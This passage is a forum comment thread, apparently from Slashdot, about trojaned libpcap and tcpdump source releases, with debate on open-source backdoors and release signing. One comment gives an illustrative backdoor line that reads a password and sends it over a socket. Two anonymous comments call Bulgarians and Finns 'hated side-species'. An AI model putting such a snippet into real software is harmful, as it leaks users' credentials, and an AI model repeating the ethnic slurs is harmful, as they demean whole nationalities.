      ----

      FB

    2. Re:Not quite so simple by FallLine · · Score: 2
      I could. Almost in exactly the same way I would do adding a backdoor to an open-source program. From my evil code at the beginning I can read files and databases, redirect/duplicate network trafic, and so on. Truly, I might not be able to interact with the original code (not without some clever trick, anyway), but this is not needed to steal secrets: a password is not generated inside the program: it comes from outside (and I can intercept that) and often go outside(and I can intercept that).
      While I admit that you would have some flexibility there, it is not all that you crack it up to be. For instance, on a multiuser system where you're connecting to a remote database you would have a hard time intercepting keystrokes, asking the user to follow a subtly different path (i.e., enter their administrator password) or what have you. Even on a database that is local and that you have read access to, you would have to either have legitimate access through the daemon or know how to parse it (or just send the whole damn thing)...but you get the point. It's often more complicated than just grepping /etc/passwd.

      On the other hand, cleverness shall be applied also to place a backdoor in open source programs: or do you think that something like:
      gets(password); send(socket, password, strlen(password)) would not be spotted the same second in which it is submitted in the CVS of some open source program?
      I recognize that it would require some cleverness to bypass significant skilled human inspection. However, there are many areas of many open source programs that are not that closely inspected. I would venture to say the programs that are inspected closely are but a select few and those that aren't are at real risk. The existence of number of exploitable (supposed) bugs in reasonably popular open source code for an extended period of time is about all the confirmation that one needs that it can be done (if a true, but grave, mistake can pass inspection, then certainly someone actively decieving could go further). Furthermore, even if the code is 100% clean when it leaves the distribution servers, the very open source nature of that code, whether or not it came with a backdoor, still presents a much softer target for the disgruntled sysadmin, hacker, or what have you that wishes to install one of their own. In other words, just because the official code is clean does not mean that the binary is. (Although one can certainly say the same for proprietary/binary code, there is a much higher barier to entry...at least to do anything non-trivial and non-obvious with)
  140. This is called spin... by sheldon · · Score: 2

    This is great, you've learned how to spin an argument.

    Not only have you used the cliche "Well they aren't any better either...", you've even taken one step further and declared this weakness as your greatest strength.

    Although to be an expert spin-meister you should have blamed this on Microsoft some how. Work on it, get back to us. Maybe we can get you a job at the Whitehouse if the tech market continues to flounder.

  141. Glad I use FreeBSD by Anonymous Coward · · Score: 0

    ..and the new 5.0 is SOOO secure

  142. Wow by Keebler71 · · Score: 1

    Wow,... the story made it almost an hour before someone blamed Microsoft!

    --
    "It takes considerable knowledge just to realize the extent of your own ignorance." - Thomas Sowell
  143. Re:This is dreadful by fliplap · · Score: 2

    Did anyone pay you for the trojan in Borlands Interbase? How sure are there's no trojan in Microsoft software? Would you know if there was? I'm aware you're just trolling, but keep in mind, the Interbase hole wasn't discovered for 6 YEARS when Borland open sourced it. Btw, no one ever said there was no security holes in open source software.

  144. When? by BitHive · · Score: 2

    Maybe I'm retarded, but the articles do not mention when they think the trojan was introduced. Does anyone know?

  145. Cygwin is a female dog to install by yerricde · · Score: 1

    Download gpg from gnupg.org. Build it.

    According to the GnuPG web site, building GnuPG on Windows 2000 requires a "special setup," which I take to mean Cygwin. I currently use MinGW because I have had trouble getting Cygwin to work. What OpenPGP compatible software package do you recommend for users of Windows operating systems?

    --
    Will I retire or break 10K?
  146. Re:Reply from a mirror site to HLUG and tcpdump.or by Anonymous Coward · · Score: 0
    I run the main mirror of tcpdump at wiretapped.net (no relation to wiretapped.us)

    Yeah.... that's why wiretapped.us redirects to wiretapped.net...

  147. DeMorgan's Law by srichman · · Score: 3, Interesting
    I mean, really, who writes code like this!?
    if (!(!buf || !*buf)) {
    We have a tricky tricky trojan writer on our hands. With obfuscation like this, it's a wonder the trojan was found at all...
    1. Re:DeMorgan's Law by SkewlD00d · · Score: 2

      lol!!!

      if(buf && *buf) { /* if buf is a string w/ length > 0 */

      yeah, i love the descriptive variable names too.

      and the malloc(1) statement followed by an out-of-bounds strcpy() over it. a good code profiler prog woulda caught it.

      maybe mandatory documentation justifying every line would help.

      --
      The biggest trick the devil pulled was letting lawyers become politicians so they can write the laws.
  148. you sir by bani · · Score: 2

    are either:

    1) an ignorant fuckwit

    or

    2) a lying fuckwit

    well, which one is it?

    1. Re:you sir by stor · · Score: 1

      C'mon man that's harsh. He's neither of those. He's a:

      3) Trolling fuckwit

      Cheers
      Stor

      --
      "Yeah well there's a lot of stuff that should be, but isn't"
  149. I see where this is going by mslinux · · Score: 1

    Microsoft, or some other groupp that has an ax to grind against Free and OSS, is behind these trojans.

    The goal? To do this exact thing to the Linux kernel or perhaps the samba project. They badly want to discredit Linux, and they will attempt to do so by any and all means. Call me paranoid, but what I say is true.

    We must counter this life-threatening attack quickly or it will be a huge set-back or perhaps the begining of the end of free and OSS software.

  150. The other reason to build from source.. by Anonymous Coward · · Score: 0

    That damn RPM format changes every other day.

  151. libpcap download from tcpdump.org good on Sept 29 by Anonymous Coward · · Score: 0

    My download from 9/28 2002 is okay.
    tcpdump from 8/29 is good too.

  152. tcpdump.org was running an old version of NetBSD by flynn_nrg · · Score: 2

    Check this post to the netbsd-users mailing list (emphasis mine) :

    From: David Maxwell
    To: Stefan Schumacher
    Cc: netbsd-users@netbsd.org
    Subject: Re: Trojans in libpcap and tcpdump
    Date: Wed, 13 Nov 2002 14:39:05 -0500
    Sender: netbsd-users-owner@netbsd.org
    User-Agent: Mutt/1.4i

    On Wed, Nov 13, 2002 at 06:52:38PM +0100, Stefan Schumacher wrote:
    > Hi there,
    >
    > report was given that trojans were detected in libpcap and tcpdump.
    >
    > http://hlug.fscker.com/
    >
    > I fetched tcpdump and libpcap and took a look in the sources, seems so as
    > if we IMHO are not affected.

    That is correct.

    I've been at the console of the tcpdump.org server today, working with
    Michael Richardson to investigate the problem. He will release a
    statement on the details at some point. The system was not running an
    up to date version of NetBSD
    , so there is no indication that users with
    up to date systems are vulnerable to some new bug.

    The trojan was installed within the last two days. The signatures in
    pkgsrc are eight _months_ old. Users installing from pkgsrc (source, or
    binary packages) could not be affected by this trojan without
    specifically overriding the incorrect signature on the distribution
    file.

    Michael's contact information is listed in the whois entry for the
    tcpdump.org domain, but as far as I know, he did not receive a call
    about this issue, it was slashdotted.

    --

  153. Developers! by tubabeat · · Score: 1

    Now if every open source developer had something along the following outline in their crontab...

    ftp sources from ftp distribution server diff against known good copy mail if different

    Maybe not practical for the biggest projects, but for the rest?

    Idea 2 - responsible mirroring

    Mirrors shouldn't accept changed sources without an accompanying bump in the version/release number in the filename - this would make it much easier to spot trojaned versions

    Okay that relies on developers being careful to bump the release no. after every change (doc updates etc.)

    --
    "Linux is a serious competitor"
    - Steve Ballmer, Chief Executive Microsoft Corp.
  154. Re:tcpdump.org was running an old version of NetBS by Anonymous Coward · · Score: 0

    We contacted Joseph Shaw, who did the web design for the site and he tried many times to contact, The trojan was found about 11:15pm by 12:45 Joe was trying to contact Michael Richardson. Due to the nature that this was not an exploit but a trojan it seemed the best to report it rather than keep it hidden.

  155. Bulgarian are not Russians by Anonymous Coward · · Score: 0

    Bulgarian are not Russians, they are Bulgarians, a very hated side-species on humandkind.

  156. Because Finns are as bad as Bulgarian by Anonymous Coward · · Score: 0

    Because Finns are as bad as Bulgarian, and are second most hated side-species of humankind.

  157. Thank You! by Anonymous Coward · · Score: 0

    I've been looking for something like this for a while: interactive security policy management of sandboxed applications. Upon cursory inspection, it looks like it only works with userspace syscalls, but I imagine that should do the trick 99% of the time (unless a nefarious kernel module is installed or the app can somehow access hardware directly?).

    I'm hoping someone will make a console frontend... or maybe I will once I learn enough.

    I've actually been worried about switching to linux for a while due to security reasons (namely that it seems to require an insane amount of diligence to maintain a secure system which changes dynamically -- i.e. trying out new apps all the time)... and oftentimes, apps need to be installed as root, which has no restrictions upon the powers given to the new program.

    LIDS, LOMAC, etc. seem to require much prior consideration of policies (which, ideally, should be dictated by the creators of the program and/or by the major distrobutions, only to be inspected by the user or limited by the user's own global policies). btw: is there any program to convert between the policies established for the different security systems?

    I am constantly trying out new software and if I can't sandbox it even a bit (like zonealarm interactively protecting net connections or secure4u for windows) then its not worth it.

    Thanks again.

  158. Wrong by 0x0d0a · · Score: 2

    Because there only needs to be *one* person out there who *does* look at the diffs and catches the thing. *Not* every person needs to catch the thing.

    Furthermore, analysis of what the thing is doing is much easier with open source.

  159. Correct by 0x0d0a · · Score: 2

    Apparently, it was less than one day.

    As someone else pointed out, the closed-source Interbase (DBMS) contained a trojan for over six years which was only found after it was open-sourced.

  160. Re:This is dreadful by error0x100 · · Score: 1

    Never mind the viruses, we've lost at least a few man-days of work to Windows XP service pack 1 - it left a few of the computers round our office dead in the water.

    I don't even want to BEGIN to go into how much time I've wasted over the years working around problems in Microsoft APIs, bugs and limitations in their software and APIs, figuring out the hard way that their API documentation is often outright wrong, waiting for reboots from Windows crashing/freezing, restarting MS programs when they crash, re-doing lost work when a MS program crashes .. the fun never ends. Just yesterday I discovered that listboxes in Win9X cannot handle more than 32K entries. The solution? Basically, "write your own listbox control". This alone is likely to blow at least another day of mine, as I HAVE to work around this one. (To be fair, gtk is even more idiotic, with a listbox limit of 2K entries, not sure if thats been fixed yet).

  161. ...And later moderators can't fix it! by Jetson · · Score: 3, Insightful
    This apparently misleading (albeit well-intentioned) comment gets modded +4 interesting, meaning that almost everyone will see this poor guy's name.

    All the replying posts pointing out that it's a phone company/ISP and it's almost certainly nothing to do with this chap are at 2 or below, meaning that many people won't see them and this individual's name is now besmirched.

    The sad part of this is the fact that we (people who have moderator points to give away) can't really fix the problem even after we're told about it. I could go back and mod down the misleading post, but then some metamoderator would see that I modded down what appears at face value to be an "interesting" post and I would be the one who was bitch-slapped for abusing my moderator points. All we can really do is mod up the replies, making the whole thread +5 in order to dilute the bad moderation.

  162. There may be people on /. who... by EnlightenmentFan · · Score: 2

    ...don't understand the ins and outs of Trojans (another joke). But why would you want to spend time writing flames for people who don't share your own brand of uber-geekery? Presumably those of us who spend time here do so in pursuit of some nerdy interest of our own.

    --
    Making trouble today for a better tomorrow...
    1. Re:There may be people on /. who... by gosand · · Score: 2
      Presumably those of us who spend time here do so in pursuit of some nerdy interest of our own.

      Then why would you comment on something that you knew nothing about?

      Think about that for a second.

      And I hardly think it is uber-geekery to be able to make the connection between the word "trojan" and "trojan horse" when referring to malicious code that was snuck into other code.

      --

      My beliefs do not require that you agree with them.

    2. Re:There may be people on /. who... by EnlightenmentFan · · Score: 1
      ... why would you comment on something that you knew nothing about?
      Think about that for a second.
      .

      You must not have noticed, but /. has a category called "Funny." Posts declared "Funny" get modded up--that's to encourage people to post messages they think are funny.

      I don't know where you got the idea I think only uber-geeks know that "trojan/Trojan horse" is slang for malicious code. Every mini-websurfer knows it--even I know it!

      The connection of trojans with Trojans--it's just a joke. It made me smile when I thought of it, and I thought some /.ers might enjoy it too. I never imagined my silly joke would rouse some total stranger to total fury, or that days later he would still be treating me to pompous public lectures, modded at "2" to signify their "Informative" and "Interesting" nature to all /. readers.

      --
      Making trouble today for a better tomorrow...
  163. OpenBSD Unaffected by Anonymous Coward · · Score: 0

    According to OpenBSD Joural, OpenBSD is not affected. NOT AT ALL!!!


    - Pcap and Tcpdump are brought in only periodically and after a thorough code review.

    - OpenBSD rolls its own build system (for pcap and tcpdump).


    The trojan affected the configure script and was activated at build time.
    I Love OpenBSD!!!

  164. Developers: by rweir · · Score: 2


    Go to gnupg.org and install gpg. Generate a keypair and put your public key up on wwwkeys.pgp.net. Whenever you meet another developer, sign each others keys. When you release a tarball, FUCKING SIGN IT and put up instructions telling people how to verify it. This sort of thing does not have to happen. The tools are there to prevent anyone ever trojaning an FTP server again. You will have to do this eventually or no one will trust your server enough to download your software, so why not start now? GO AND FUCKING START.
    </rant>

    Sorry about that, but how many times does this have to happen? It's trivial to prevent, but most people don't even try. Go and damn well start!

  165. Status of Open Source projects... by ScottKin · · Score: 0

    ...has just been knocked-down in reliability by SOMEONE FROM WITHIN THEIR OWN GROUP?!?!

    I'm sorry, but I'm sitting here and having a (small) chuckle at the people who constantly attacked Microsoft for not being "secure" - people who now have (probably) been compromized (again) by someone (hopefully not) within the Open Source community, or at least someone who gained sufficient access to the source code to insert their code. From what I've read so far, this seems to have been a fairly trivial thing for the "infiltrator" to accomplish.

    First, there were the trojanized versions of OpenSSH, BitchX, dsniff and a few other tools. Now, we have trojanized versions of some fairly non-trivial tools. What's next? Who knows? No one does.

    The really funny thing is that because of it's own charter and design, the Open Source community has created their own FUD about their own products. Let's all hope that they take the initiative to prevent such things from happening again. Remember: "Fool me once, shame on you...fool me twice, shame on me...fool me five times and someone please kick me in the head!"

    The really excellent thing about this happening is that the Open Source community got together, spread the info about the trojan/exploit rapidly and did an excellent job of damage control. The people that found the trojan (http://www.hlug.org) should be commended for their dedication to checking source code - something that should have happend (IMHO) quite a way up the development chain. Unfortunately, it appears that due to the very nature of Open Source development (i.e. the ability of pretty much ANYONE to contribute source-code to the development tree and even have it included in the latest CVS) that this will not be the last "event" concerning compromised source-code - unless the Open Source development community seriously re-work their development cycle and include exhaustive souce-code review before ANY source-code is released for "public" consumption.

    ScottKin

    --
    I don't give a rat's behind about "karma" here or anywhere else. Don't like what I have to say here? Deal with it!
  166. How about Redhat Linux? Am I safe? by gigsvoo · · Score: 1

    Why Gentoo is safe? How about Redhat and Mandrake? Are those safe? If not how do I can fix it? Please email me at gigsvoo@yahoo.com, thanks alot!

    --

    Thanks
    Neo Gigs
    "Follow the white rabbit..."
  167. Last Post! by alpg · · Score: 1

    The Analytical Engine weaves Algebraical patterns just as the Jacquard
    loom weaves flowers and leaves.
    -- Ada Augusta, Countess of Lovelace, the first programmer

    - this post brought to you by the Automated Last Post Generator...